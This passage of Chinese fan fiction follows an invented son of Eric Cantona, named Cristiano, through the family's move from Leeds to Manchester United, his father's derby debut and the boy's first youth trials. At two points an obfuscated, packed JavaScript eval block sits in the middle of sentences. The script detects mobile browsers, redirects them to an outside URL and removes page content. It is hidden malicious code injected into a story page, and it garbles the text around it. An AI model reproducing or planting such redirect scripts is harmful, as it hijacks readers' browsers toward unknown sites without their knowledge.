艾米莉从后视镜里看着父子俩，突然发现儿子的英语口音已经带上了点约克郡腔。 8. 红魔的召唤 一个阴冷早晨，克里斯蒂亚诺被厨房传来的争吵声惊醒。他揉着眼睛爬下床，光着脚丫走到楼梯口，听到父亲压抑着怒火的声音。 “这不是战术问题，而是尊重问题！”坎通纳的嗓音低沉而危险，“我受够了被当成替补席上的装饰品。” “埃里克，冷静点。”艾米莉的声音带着担忧，“也许你可以再和教练谈谈？” “谈？威尔金森根本不懂什么是足球！” 克里斯蒂亚诺蹑手蹑脚地走下几级台阶，透过栏杆缝隙看到父亲正在厨房来回踱步，像头困兽。他以前从未见过父亲这样——即使在马赛最艰难的比赛后，父亲也总是从容不迫的。 “爸爸？”他小声叫道。 争吵声戛然而止。坎通纳转身时已经换上了平静的表情：“克里斯，你醒了。” “你又和教练吵架了吗？”克里斯蒂亚诺直接问道，小手抓住楼梯扶手。 坎通纳走过来抱起儿子：“职业足球就是这样，有时候会有不同意见。饿了吗？妈妈做了煎蛋。” 早餐桌上的气氛有些沉闷。克里斯蒂亚诺观察着父亲紧锁的眉头，突然说：“爸爸，今天能带我去训练场吗？我想看你练习任意球。” 坎通纳放下咖啡杯：“今天不行，小家伙。爸爸有重要会议。” “是和那个讨厌的教练开会吗？” “克里斯！”艾米莉轻声呵斥，“不能这样说话。” 坎通纳却意外地笑了：“不，今天是和另一个人见面。来自曼彻斯特的教练。” “曼彻斯特？”克里斯蒂亚诺歪着头，“那是哪里？” “另一个城市的球队，”坎通纳擦了擦儿子嘴角的果酱，“如果他们愿意给爸爸更好的机会，我们可能要搬家。” 克里斯蒂亚诺的叉子停在半空：“又要搬家？那杰克怎么办？我才刚交到朋友！” 艾米莉和坎通纳交换了一个眼神。艾米莉柔声说：“还没决定呢，亲爱的。先吃饭吧。” 上午十点，坎通纳离家前往会面。克里斯蒂亚诺趴在客厅地毯上，心不在焉地翻着英语绘本。艾米莉走过来坐在他身边：“担心爸爸？” 克里斯蒂亚诺点点头，把脸贴在绘本上：“为什么教练不喜欢爸爸？爸爸是最棒的球员。” “有时候……最闪亮的星星会刺痛别人的眼睛。”艾米莉轻抚儿子的卷发，“但总有懂得欣赏的人。” “曼彻斯特的教练会喜欢爸爸吗？” “我们很快就会知道了。” 下午三点，坎通纳回来了，脸上带着久违的轻松。克里斯蒂亚诺立刻丢下玩具冲过去：“爸爸！怎么样？” 坎通纳把儿子举起来转了个圈：“弗格森教练是个真正的足球人，他懂得前锋需要什么。” “那我们要搬去曼……曼彻斯特？”克里斯蒂亚诺努力重复着这个拗口的单词。 “很可能，”坎通纳放下儿子，神情认真起来，“但这次转会很复杂，需要时间。在这期间，你要保守秘密，不能告诉任何人，包括杰克，明白吗？” 克里斯蒂亚诺做了个拉上嘴巴的动作：“我保证！那个教练……弗格森？他真的很厉害吗？” 坎通纳的眼中闪过一丝光芒：“他相信我能在英格兰最好的球场踢出最好的足球。” “比埃兰路还大吗？” “大得多，”坎通纳从公文包里取出一张照片，“看，这就是老特拉福德，曼联的主场。” 克里斯蒂亚诺接过照片，眼睛瞪得圆圆的——宏伟的红色球场在阳光下熠熠生辉，看台上坐满了欢呼的球迷。他伸出小手指轻轻抚过草坪：“我们能坐在那里看比赛吗？” “不仅能看，”坎通纳指着球员通道，“也许有一天，你还能从那里跑进球场。” 克里斯蒂亚诺猛地抬头，不敢相信自己的耳朵：“真的吗？我可以去曼联踢球？” “只要你足够努力，”坎通纳捏了捏儿子的小脸，“但现在，这是我们的小秘密。” 晚饭后，克里斯蒂亚诺偷偷把曼联球场的照片塞进自己的足球相册里，放在最后一页。他轻轻摸着照片，突然觉得曼彻斯特的红色比利兹的白色更耀眼些。 三天后的训练日，克里斯蒂亚诺在利兹联青训营的遭遇证实了父亲面临的困境。他抱着足球走向常去的四号训练场时，听见几个年长学员的窃窃私语。 “听说他爸爸要被卖去曼联了。” “叛徒！” “法国佬都靠不住……” 克里斯蒂亚诺的脚步骤然停住，怀里的足球滚落在地。金发杰克从后面追上来，捡起球塞回他怀里：“别理他们，我爸爸说职业足球就是这样。” “可爸爸不是叛徒！”克里斯蒂亚诺的声音带着哭腔，“是教练不让他好好踢球！” 杰克拽着他往更衣室走：“我知道。上周我爸爸还说，威尔金森教练把埃里克当工兵用，根本不懂艺术足球。” 训练开始后，克里斯蒂亚诺明显心不在焉。当教练让分组对抗时，平时总抢着当前锋的他主动退到后卫位置。 “怎么了？”杰克用胳膊肘捅他，“你可是我们队的最佳射手。” 克里斯蒂亚诺低头盯着球鞋：“万一我以后也要转会……现在进球有什么意义？” 午餐时间，两个男孩躲在器材室后面的角落。杰克掏出偷带的三明治分给好友：“我妈妈说，你爸爸要是去曼联，能拿冠军。” “真的？”克里斯蒂亚诺咬着的火腿突然不香了。 “曼联现在排名很糟，但他们有钱，”杰克老气横秋地分析，显然在模仿父亲看球时的言论，“你爸爸去了就是救世主。” 克里斯蒂亚诺的蓝眼睛亮起来：“就像罗宾汉？” “比罗宾汉还酷！我爸爸说弗格森教练会给他……”杰克挠了挠头，“那个词怎么说来着？对，开火权！” 下午的战术课上，克里斯蒂亚诺破天荒地走神了。他用蜡笔在笔记本上涂抹着想象中的红色球衣，直到教练敲响白板：“坎通纳！重复我刚才的话！” “对、对不起……”克里斯蒂亚诺涨红了脸站起来。 “我说前锋在防守时要回撤到什么位置？” “……禁区？” “是中线！看来你父亲没教过你团队协作！” 哄笑声中，克里斯蒂亚诺攥紧了蜡笔。放学时，他的笔记本上多了一幅画：穿着红色球衣的小人，正在绿茵场上飞翔。 回家的公交车上，艾米莉察觉到儿子的异常：“今天训练不开心吗？” 克里斯蒂亚诺把脸贴在冰凉的玻璃窗上：“妈妈，当英雄会被讨厌吗？” 艾米莉怔了怔，把儿子搂进怀里：“真正的英雄不怕被误解。就像你爸爸现在做的选择，不是为了背叛，而是为了追寻足球的真理。” 当晚，坎通纳带回了一个重磅消息。他罕见地开了瓶红酒，眼中跳动着久违的火焰：“今天和弗格森教练谈了三小时，他承诺以我为核心建队。” 克里斯蒂亚诺正在摆弄曼联球场的模型玩具——这是父亲昨天买给他的新礼物。他抬头问道：“核心是什么意思？” “就是说全队都会围绕爸爸制定战术，”艾米莉翻译成儿童语言，“就像你是球队的太阳，其他行星都围着你转。” 坎通纳被这个比喻逗笑了，他坐到儿子身边的地毯上：“更重要的是，曼联愿意给我信任。威尔金森总说我的踢法太冒险，但弗格森说……”他模仿着苏格兰口音，“ ‘去他妈的保守，足球就该是激情艺术！’ ” 克里斯蒂亚诺被父亲夸张的表情逗得咯咯直笑，但很快又忧心忡忡：“可是利兹联的球迷怎么办？他们上次还给你唱歌。” “这就是职业足球的残酷，”坎通纳收起笑容，“但真正的球员必须忠于内心。克里斯，记住——”他指了指儿子的胸口，“这里跳动的不是俱乐部的徽章，是对足球的爱。” 深夜，克里斯蒂亚诺被父母的低语惊醒。他光着脚溜到楼梯转角，听见父亲压抑着怒火的声音：“他们居然说我训练态度不端！见鬼，我只是拒绝做那些愚蠢的折返跑！” 艾米莉的叹息轻轻飘上来：“埃里克，转会协议还没正式签署，这个节骨眼……” “明天预备队比赛，威尔金森居然让我坐板凳！他在羞辱我！” 克里斯蒂亚诺的心揪紧了。他记得上周父亲提起过，这是十年来第一次被下放预备队。 第二天清晨，坎通纳依然准时送儿子去青训营。等红灯时，克里斯蒂亚诺突然开口：“爸爸，今天我逃训吧？陪你去看预备队比赛。” 坎通纳握着方向盘的手骤然收紧：“不行。听着，无论发生什么，你的足球教育不能中断。” “可是……” “没有可是。记住，你是克里斯蒂亚诺?罗纳尔多，不是任何人的附属品。” 当天的青训营格外难熬。更衣室里，有个高年级生故意把克里斯蒂亚诺的球衣扔进水池。杰克要冲上去理论，却被好友拉住：“爸爸说，要用足球说话。” 分组对抗时，克里斯蒂亚诺像头被激怒的小狮子。他带球连过三人，在禁区边缘用一记漂亮的弧线球破门，进球后却不像往常那样庆祝，只是沉默地走回中圈。 “酷毙了！”杰克撞了下他的肩膀，“这招跟你爸爸学的？” 克里斯蒂亚诺望着阴沉的天空：“不，这是克里斯蒂亚诺专属。” 放学时，天空飘起了冷雨。艾米莉来接儿子，发现他的球裤沾满泥泞，膝盖还有擦伤：“怎么回事？” “摔了一跤。”克里斯蒂亚诺满不在乎地抹了把脸，“妈妈，我们能去接爸爸吗？预备队比赛该结束了。” 埃兰路球场后门，零星几个球迷在雨中徘徊。坎通纳最后一个走出球员通道，训练服被雨水浸透，脸上带着阴郁的神情。他看到妻儿时愣了愣，大步走来把克里斯蒂亚诺抱进怀里。 “爸爸，我给你留了巧克力。”克里斯蒂亚诺从兜里掏出融化的锡纸包，“虽然有点丑……” 坎通纳直接咬了一口沾满泥水的巧克力，把儿子举到肩上：“走，回家。这鬼地方不值得留恋了。” 雨幕中，三人的背影渐渐模糊。克里斯蒂亚诺伏在父亲肩头，望着渐渐远去的埃兰路球场，突然发现那些曾经让他激动的白色座椅，此刻苍白得像褪色的记忆。 1992年11月26日清晨，曼彻斯特的浓雾笼罩着老特拉福德球场。七岁的克里斯蒂亚诺趴在酒店窗台上，呼出的白气在玻璃上晕开一片水雾。他目不转睛地盯着远处那座若隐若现的红色建筑——昨晚的梦里，他看见自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520589|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着红色球衣在那里奔跑。 “看够了吗？该换衣服了。”艾米莉把熨烫好的小西装放在床边，“今天对爸爸很重要。” 克里斯蒂亚诺笨拙地打着领结：“妈妈，曼联为什么叫红魔？” “因为他们的球衣像火焰，踢起球来像魔鬼一样凶猛。”艾米莉帮儿子整理衣领，“待会儿见到弗格森教练要有礼貌，知道吗？” 酒店大堂里，坎通纳正和一位银发老人交谈。克里斯蒂亚诺躲在母亲身后，偷偷打量这个传说中的教练——他看起来像邻居家的老爷爷，但眼睛亮得像鹰。 “这就是小坎通纳？”弗格森蹲下身，苏格兰口音像含着威士忌，“听说你的左脚比爸爸还厉害？” 克里斯蒂亚诺鼓起勇气：“先生，我能去更衣室看看吗？” 弗格森大笑起来，拍拍坎通纳的肩膀：“这小子有胆量！走吧，带你们参观真正的足球圣殿。” 老特拉福德的球员通道比照片上更震撼。克里斯蒂亚诺踮起脚尖触摸墙上的队徽，突然听见身后传来脚步声——一线队正在晨训，球员们三三两两走向草坪。 “哇！是休斯！还有麦克莱尔！”克里斯蒂亚诺拽着父亲的袖子，突然压低声音，“爸爸，他们看起来好高……” 坎通纳把儿子抱起来放在战术板旁的长凳上：“记住这些面孔，很快他们就是你的新叔叔了。” 签约室里的闪光灯晃得克里斯蒂亚诺睁不开眼。他看着父亲在厚厚的合同上签字，突然感到一阵莫名的紧张——那些文件意味着他们再也不会回到利兹的小房子，再也不能和杰克在青训营踢球了。 “过来，克里斯。”坎通纳招手叫他，“和弗格森教练合个影。” 相机咔嚓作响的瞬间，弗格森突然说：“小子，想不想试试我们的青训草坪？” 克里斯蒂亚诺猛地抬头，不敢相信自己的耳朵：“现在？可以吗？” 十分钟后，穿着借来的儿童训练服，克里斯蒂亚诺站在曼联U9队的训练场上。这里的草皮比利兹的更柔软，球门网兜白得发亮。他带球绕过几个标志桶，在禁区边缘突然起脚—— “漂亮的弧线！”场边响起掌声。弗格森转头对坎通纳说，“这孩子有天赋，七岁就能控制脚内侧发力了。” 坎通纳难得露出骄傲的笑容：“他每天加练两小时，雷打不动。” 回酒店的路上，克里斯蒂亚诺趴在车窗上，看着老特拉福德渐渐远去。他突然转身问：“爸爸，我们什么时候搬来曼彻斯特？” “下周。但明天要先回利兹收拾行李，”坎通纳从后视镜里看着儿子，“你可以和杰克道别。” 克里斯蒂亚诺的小脸垮了下来：“能带杰克一起转会吗？” 艾米莉被逗笑了：“足球不是这样运作的，亲爱的。” 当晚的新闻爆炸性传遍英格兰。BBC晚间体育头条播放着坎通纳身穿曼联球衣的画面，解说员激动地宣称：“曼联刚刚签下了英超最具争议的天才！” 酒店房间的电话不断响起。克里斯蒂亚诺蜷缩在沙发角落，看着父亲应付一个又一个采访。有个记者尖锐地问：“埃里克，利兹球迷称你为叛徒，你怎么回应？” 坎通纳的声音突然冷了下来：“我带给利兹联最后一个英甲冠军，而他们给我的只有猜忌。足球世界里，忠诚是双向的。” 挂掉电话，他发现儿子正盯着自己。“爸爸，”克里斯蒂亚诺小声问，“我们会在这里拿到冠军吗？” 坎通纳把儿子抱到窗边，指着远处灯火通明的老特拉福德：“看到那些灯光了吗？明年此时，那里会挂满奖旗。而你——”他轻轻捏了捏克里斯蒂亚诺的肩膀，“会坐在最好的位置见证一切。” 第二天清晨，利兹联的更衣室储物柜已经清空。坎通纳独自去俱乐部办理最后手续，而艾米莉带克里斯蒂亚诺去了青训营。 杰克早在门口等候，眼睛红红的：“你真的要走？” 克里斯蒂亚诺点点头，掏出珍藏的利兹联队徽贴纸：“给你。等我学会用电子邮件，我们还能联系。” 两个男孩在训练场边进行了最后的较量。克里斯蒂亚诺故意输掉了点球大战，但杰克看穿了：“嘿！你明明能扑到的！” “下次见面我会认真比，”克里斯蒂亚诺踢着草皮，“到时候我在曼联，你在利兹……” “笨蛋，”杰克突然撞了下他的肩膀，“我们会在玫瑰德比见面的！等着瞧！” 回曼彻斯特的火车上，克里斯蒂亚诺一直盯着窗外飞逝的风景。坎通纳放下报纸：“舍不得？” “有一点，”克里斯蒂亚诺转向父亲，“但弗格森教练说，曼联有全英格兰最好的青训营。” “不仅如此，”坎通纳从包里取出一件叠得整整齐齐的红色球衣，“看看这个。” 展开的球衣背后印着“CANTONA 7”。克里斯蒂亚诺倒吸一口气，手指轻轻抚过凸起的字母：“这是给我的？” “等你再长高些。现在先挂在你房间，”坎通纳意味深长地说，“记住这个号码的意义。” 当火车驶入曼彻斯特皮卡迪利站时，夕阳正把老特拉福德的轮廓染成金色。克里斯蒂亚诺趴在车窗上，突然明白父亲眼中那团火焰从何而来——这不是结束，而是一个更辉煌的承诺的开始。 9. 红色的初雪 曼彻斯特飘起了细雪，克里斯蒂亚诺趴在窗台上，看着雪花落在后院新装的球门网上——那是昨天父亲特意为他准备的搬家礼物，比在利兹的那个更大，网兜上还绣着“CR7”的字样。 “克里斯！把围巾戴上！”艾米莉的声音从楼下传来，“今天球场会很冷。” 克里斯蒂亚诺抓起曼联配发的红白条纹围巾，笨拙地在脖子上绕了两圈。今天是父亲加盟曼联后的首秀，对手还是曼城。他昨晚几乎没睡着，梦里全是父亲在红色海洋中进球的画面。 厨房里，坎通纳正在吃早餐，桌上摊开着曼城的战术分析报告。克里斯蒂亚诺滑进对面的椅子，小声问：“爸爸，紧张吗？” 坎通纳从报告中抬起头，嘴角微微上扬：“紧张是留给没有准备的人的。尝尝这个，曼彻斯特特产的蜂蜜面包。” “弗格森教练说你会首发吗？”克里斯蒂亚诺咬了一口面包，蜂蜜粘在嘴角。 “不仅首发，”坎通纳用拇指擦掉儿子脸上的蜂蜜，“还会是进攻核心。快吃，我们得提前去球场适应。” 老特拉福德在细雪中如同燃烧的红色堡垒。克里斯蒂亚亦步亦趋地跟着父亲走进球员通道，小手紧紧抓住父亲的外套下摆。更衣室门口，弗格森正和助教讨论战术，看到他们立刻张开双臂：“啊哈！我们的小吉祥物来了！” 克里斯蒂亚诺害羞地躲到父亲身后，但又忍不住偷看更衣室内部——红色球衣整齐地挂在每个柜门前，防滑钉鞋在地上摆成一排，空气里弥漫着药膏和皮革混合的气息。 “老板，”坎通纳把儿子往前轻轻一推，“家属席在哪个区域？” “西看台最好的位置。”弗格森蹲下来平视克里斯蒂亚诺，“听着，小子。今天你爸爸会让整个曼彻斯特记住他的名字。你要做的就是——”他做了个振臂高呼的动作，“像这样给他加油！” 热身时，克里斯蒂亚诺和艾米莉坐在家属区，周围的球迷纷纷向他们投来友善的目光。有个白发老人甚至脱下自己的红围巾给克里斯蒂亚诺：“孩子，这可是历史性的一天，你得打扮得体面些。” 球场渐渐坐满，欢呼声如同滚雷。克里斯蒂亚诺跪坐在椅子上，看着父亲在草坪上做着拉伸运动。当现场广播念出“埃里克·坎通纳”的名字时，整个老特拉福德爆发出山呼海啸般的欢呼，震得他差点从椅子上滑下来。 “妈妈！他们在喊爸爸的名字！”克里斯蒂亚诺激动地抓住母亲的胳膊。 艾米莉微笑着点头：“这就是我们选择曼联的原因。” 比赛开始后，克里斯蒂亚诺立刻发现了不同——这里的球迷比利兹的更疯狂，每次父亲触球，看台上就会掀起一阵声浪。曼城的防守球员像牛皮糖一样粘着坎通纳，有次甚至直接从背后把他铲倒。 “红牌！”克里斯蒂亚诺跳起来大喊，学着周围球迷的样子挥舞拳头，“那是个肮脏的犯规！” 裁判只给了黄牌。坎通纳慢慢站起来，拍了拍膝盖上的草屑，脸上带着危险的平静。克里斯蒂亚诺太熟悉这个表情了——每次父亲露出这种神情，接下来就会爆发。 果然，五分钟后，坎通纳在前场接到传球。他先用一个假动作晃过一名防守队员，随后在两人包夹中突然用脚后跟将球磕给插上的队友马克·休斯，自己则快速前插。休斯的传中恰到好处，坎通纳凌空抽射—— “Goal！！！！” 克里斯蒂亚诺尖叫着爬上座椅，周围的欢呼声几乎掀翻顶棚。他看见父亲做出了那个日后成为传奇的庆祝动作——竖起衣领，昂首环视球场，如同君临天下的国王。 “妈妈！爸爸进球了！在德比战！”克里斯蒂亚诺的声音淹没在声浪中，眼泪不自觉地流下来。 中场休息时，克里斯蒂亚诺的脸颊已经冻得通红，却浑然不觉。他捧着工作人员送来的热可可，眼睛一刻不离球场大屏幕上的进球回放。 “看到爸爸那个脚后跟传球了吗？”他拽着艾米莉的袖子，“我们在后院练过这个！不过爸爸说我还不能用这招比赛……” 邻座的白发老人——后来克里斯蒂亚诺知道他叫马特，是个看了四十年曼联比赛的老球迷——笑眯眯地插话：“孩子，你父亲今天踢得像红魔附体。那个进球，啧啧，典型的坎通纳式美学。” “美学是什么？”克里斯蒂亚诺眨了眨眼睛。 “就是……像芭蕾舞一样漂亮的足球。”马特比划着。 下半场开始后，曼城明显加强了对坎通纳的盯防。每当父亲拿球，至少两名防守队员立刻围堵。克里斯蒂亚诺紧张地啃着围巾流苏，直到尝到羊毛的涩味才反应过来。 “他们为什么总针对爸爸？”他不满地嘟囔。 “因为害怕，”马特的眼睛闪着光，“真正的巨星都会让对手恐惧。” 第六十八分钟，坎通纳在中场接到传球，突然一个转身摆脱防守，送出一记三十码的精准长传。边路的吉格斯像道红色闪电切入禁区，轻松推射破门。 “2-0！！！”现场解说员的声音激动得发颤，“坎通纳的助攻！多么美妙的视野！” 克里斯蒂亚诺跳起来模仿父亲传球的样子，差点撞翻马特的啤酒。整个西看台都在高唱新编的坎通纳赞歌，调子借用法国国歌《马赛曲》。 然而好景不长，曼城在七分钟后扳回一球。对方前锋突破曼联防线时，坎通纳回追到禁区协防，却被裁判误判犯规。点球。 “这不公平！”克里斯蒂亚诺急得直跺脚，“爸爸根本没碰到他！” 艾米莉按住儿子的肩膀：“足球就是这样，要学会接受误判。” 曼城球员一蹴而就，比分变成2-1。接下来的十五分钟变得异常煎熬。克里斯蒂亚诺把围巾拧成了麻花，每当曼城进攻就屏住呼吸，直到皮球远离禁区才敢喘气。 第八十九分钟，坎通纳在前场被放倒，为曼联赢得一个位置极佳的任意球。他亲自站在球前，老特拉福德瞬间安静下来。克里斯蒂亚诺捂住眼睛，又从指缝偷看—— 助跑，起脚，足球划出一道美妙的弧线，却在最后时刻擦着横梁飞出。 “哎呀！”整个球场同时发出叹息。坎通纳摇摇头，向看台做了个抱歉的手势。克里斯蒂亚诺却站起来拼命鼓掌：“已经很棒了！爸爸！超级棒！” 补时阶段，曼城发起疯狂反扑。坎通纳罕见地回撤到中卫位置，用一记干净利落的滑铲破坏对方进攻。裁判吹响终场哨时，老特拉福德爆发出震耳欲聋的欢呼。 “我们赢了！妈妈！德比战！”克里斯蒂亚诺扑进艾米莉怀里，随即想起什么似的掏出口袋里的记事本——上面歪歪扭扭记着：“12月6日，爸爸首秀，1进球1助攻，曼联2-1赢！” 球员通道外，等候采访的记者挤得水泄不通。克里斯蒂亚诺被安保人员扛在肩上，看见父亲被团团围住。BBC的话筒几乎戳到坎通纳脸上：“埃里克，首秀就统治德比，你现在什么感受？” 坎通纳的目光越过人群，准确找到儿子所在的位置。他用手指了指克里斯蒂亚诺，对着话筒说：“今天有个七岁的小男孩第一次理解了什么是曼联精神。这比任何进球都珍贵。” 回更衣室的路上，克里斯蒂亚诺终于有机会近距离触摸老特拉福德的草皮。他蹲下来揪了一小撮草叶，小心地放进外套口袋——就像两年前离开马赛时，诺亚教他保存记忆的方式。 “爸爸会在这里创造历史，”他对着掌心呵出一团白气，“而我，要成为下一个站在这里的人。” 曼联更衣室里的香槟气味扑面而来，克里斯蒂亚诺刚探进半个脑袋就被吉格斯一把抱起。威尔士人身上还带着汗水和草屑的气息，把小家伙举到装满冰块的浴桶上方作势要扔。 “救命！爸爸！”克里斯蒂亚诺在空中扑腾，却咯咯笑个不停。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520590|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 坎通纳正用毛巾擦拭湿发，见状挑了挑眉：“瑞恩，你敢把我儿子扔进去，下周训练我就专攻你的防区。” 吉格斯立刻把克里斯蒂亚诺稳稳放在地上，还顺手揉了揉他的卷发：“开个玩笑嘛，老大。” 更衣室里爆发出一阵哄笑。克里斯蒂亚诺好奇地环顾四周——这里比利兹联的更衣室大得多，红色球衣随意搭在柜门上，地板上散落着绷带和胶布，空气中混合着药膏、汗水和胜利的亢奋。 “过来，”坎通纳招手让儿子坐在自己身边，递给他一瓶插着吸管的橙汁，“尝尝，胜利的味道。” 弗格森推门而入，手里拿着战术板：“安静！小伙子们，今天踢得不错，但……”他故意停顿，环视众人，“这才刚刚开始。” 更衣室瞬间肃静。克里斯蒂亚诺不自觉挺直腰板，仿佛自己也是其中一员。弗格森的目光落在他身上，苏格兰口音带着罕见的温和：“小子，你爸爸今天像个真正的红魔。希望有一天，我也能这样评价你。” “我会的，先生！”克里斯蒂亚诺脱口而出，“我会比爸爸进更多球！” 更衣室再次爆发出笑声和口哨声。布鲁斯队长走过来，把比赛用球塞进克里斯蒂亚诺怀里：“拿着，给你的纪念品。上面有全队签名。” 坎通纳接过球转了转，突然从马克·休斯的柜子里摸出支马克笔，在空白处加了一行小字：致克里斯，你的第一个德比纪念。——爸爸 回程的车上，克里斯蒂亚诺抱着比赛用球不肯松手。雪已经停了，曼彻斯特的街灯在车窗上投下流动的光影。 “爸爸，为什么大家都叫你‘老大’？”他忽然问道。 坎通纳从后视镜看了儿子一眼：“因为足球场上，实力就是一切。他们尊重我的踢法，就像我尊重他们的专业。” “那弗格森教练呢？你叫他‘老板’。” “因为他是掌控一切的人，”坎通纳的声音罕见地带着敬畏，“记住，克里斯，再伟大的球员也需要明师指引。” 克里斯蒂亚诺似懂非懂地点点头，突然指向窗外：“看！曼联的旗帜！” 一家体育用品店的橱窗里，赫然陈列着印有坎通纳名字的7号球衣。艾米莉惊讶地捂住嘴：“天哪，埃里克，你的球衣昨天才公布……” 坎通纳把车停在路边，走进店铺。五分钟后，他拿着件儿童版7号球衣回来：“给你的。不过要等圣诞节才能穿。” 克里斯蒂亚诺把脸埋进柔软的红色布料里，突然打了个喷嚏——是绣线中残留的工厂粉尘。 回到家已是深夜。克里斯蒂亚诺坚持要把比赛用球放在床头，艾米莉不得不用胶带固定防止它滚落。坎通纳靠在门框上，看着儿子对着球上的签名一个个辨认：“这个是吉格斯叔叔……这个是布鲁斯队长……” “克里斯，”坎通纳突然说，“明天开始，每周六上午我带你去卡灵顿训练基地。” 克里斯蒂亚诺猛地抬头，差点扭到脖子：“真的吗？我能和一线队一起训练？” “不，是青训营，”坎通纳走过来坐在床边，“但如果你表现够好，也许能见到青年队的教练。” 克里斯蒂亚诺扑进父亲怀里，小胳膊紧紧环住他的脖子：“我会成为最好的！我保证！” “我不要你成为最好的，”坎通纳轻轻拍着儿子的后背，“我要你享受足球本身。睡吧，明天是新的一天。” 关灯后，克里斯蒂亚诺在黑暗中睁着眼睛。月光透过窗帘缝隙，正好照在床尾的红色球衣上。他悄悄爬起来，把球衣套在睡衣外面，对着衣柜镜子摆出父亲进球后的姿势——竖起衣领，昂首挺胸。 镜中的男孩还带着婴儿肥，但眼神已经初现锋芒。窗外，老特拉福德的方向隐约传来球迷的歌声，像潮水般起起落落。克里斯蒂亚诺蹑手蹑脚地回到床上，把比赛用球搂在怀里，如同拥抱着一个鲜红的承诺。 10. 卡灵顿的第一课 克里斯蒂亚诺穿着崭新的曼联青训服，在停车场来回踱步，小皮靴踩碎草叶上的冰晶。 “爸爸，教练会让我参加对抗赛吗？”他第五次问出同样的问题，呼出的白气在晨光中消散。 坎通纳锁好车门，把儿子的训练包挎在肩上：“先通过基础测试。记住，这里不是利兹，曼联青训营的选拔标准——” “——是全英格兰最严格的！”克里斯蒂亚诺抢答，同时模仿着父亲严肃的表情，“我准备好了！” 青训楼前，一位满脸雀斑的教练正在点名。看到坎通纳，他小跑过来握手：“埃里克！弗格森先生说您今天会带儿子来。我是U8梯队教练，麦克·费兰。” 克里斯蒂亚诺从父亲身后探出头，费兰蹲下身与他平视：“你就是那个在利兹青训营打进三十球的小家伙？跟我来，让我看看你的本事。” 测试在3号人工草皮场进行。十几个同龄男孩已经排成一列，好奇地打量着新来者。克里斯蒂亚诺攥紧衣角——他们的球鞋都比他的高级，有个金发男孩甚至穿着专业护腿板。 “克里斯蒂亚诺·坎通纳，出列！”费兰吹响哨子，“带球绕过所有标志桶，然后射门。三次机会，取最好成绩。” 第一个标志桶距离起跑线十码。克里斯蒂亚诺深吸一口气，把球轻轻推出—— “太慢了！加速！”费兰的吼声吓得他差点滑倒。 坎通纳站在场边，双手插兜一言不发。克里斯蒂亚诺偷瞄父亲的表情，只看到平静的注视。第二次尝试，他像离弦之箭般冲出去，球像粘在脚上一样听话。射门时过于用力，球狠狠击中横梁弹回。 “好样的！再来！”这次是某个小球员的欢呼。 第三次，克里斯蒂亚诺调整呼吸。他带球如风，在最后一个标志桶前突然变向，用左脚内侧推出弧线球——球应声入网。 “9秒87！”费兰按下秒表，“U7组本赛季第二快。你平时怎么训练的？” 克里斯蒂亚诺指向场边：“爸爸每天教我半小时，雷打不动。” “包括雨雪天？” “尤其是雨雪天。”坎通纳终于走过来，手搭在儿子肩上，“坏天气最能磨练技术。” 分组对抗时，克里斯蒂亚诺被分到红队。他的第一个对手是个比他高半头的壮实男孩，防守时直接撞得他摔在草皮上。 “犯规！”克里斯蒂亚诺爬起来抗议。 裁判没吹哨。费兰在场边大喊：“适应对抗！这里是曼联，不是幼儿园！” 坎通纳的眉头几不可察地皱了一下。下半场，克里斯蒂亚诺学聪明了。当壮实男孩再次逼近时，他突然急停变向，对方因惯性冲出老远。这次突破引来一阵喝彩，连场边扫地的老管理员都停下观看。 训练结束，费兰把坎通纳叫到一旁：“埃里克，说实话，你儿子技术比同龄人强一截，但……”他压低声音，“太瘦弱了。英超青训的对抗强度您清楚。” 坎通纳望向正在收拾背包的儿子——克里斯蒂亚诺的膝盖沾满草渍，手肘还擦破了一块皮，但眼睛亮得像星星。 “给他六个月，”坎通纳说，“如果到时候还达不到标准，我自己带他离开。” 回程车上，克里斯蒂亚诺狼吞虎咽地吃着俱乐部提供的三明治：“爸爸，我表现好吗？” “左脚射门不错，”坎通纳目视前方，“但被撞倒那次，你本可以提前观察防守队员的重心。” “费兰教练说我很瘦……” “那就多吃牛肉，每天加练半小时力量。”坎通纳转动方向盘，“周一开始，我教你合理利用身体。” 克里斯蒂亚诺用力点头，突然指着路边一家体育用品店：“爸爸！看那个广告！” 橱窗里，坎通纳曼联首秀的大幅海报旁，赫然印着“青训营冬季招生”的标语。海报上的父亲高举双臂，而玻璃倒影里，七岁的克里斯蒂亚诺正不自觉地模仿那个姿势。 两天后，卡灵顿基地的健身房向青训学员开放。克里斯蒂亚诺踮起脚尖，试图够到悬挂的沙袋，却被路过的U9队员撞了个趔趄。 “小不点，这里不是游乐场。”高个子男孩轻蔑地瞥了眼他的训练服，“关系户就乖乖去玩传球游戏。” 克里斯蒂亚诺的脸瞬间涨红。他攥紧拳头正要反驳，费兰教练的哨声突然响起：“全体集合！今天进行体能测试！” 二十名小球员在跑道旁列队。克里斯蒂亚诺站在最边上，偷偷打量竞争对手们——他们大多比他高出半个头，小腿肌肉已经初现轮廓。 “三组折返跑，计时排名！”费兰举起秒表，“最后五名加练半小时！” 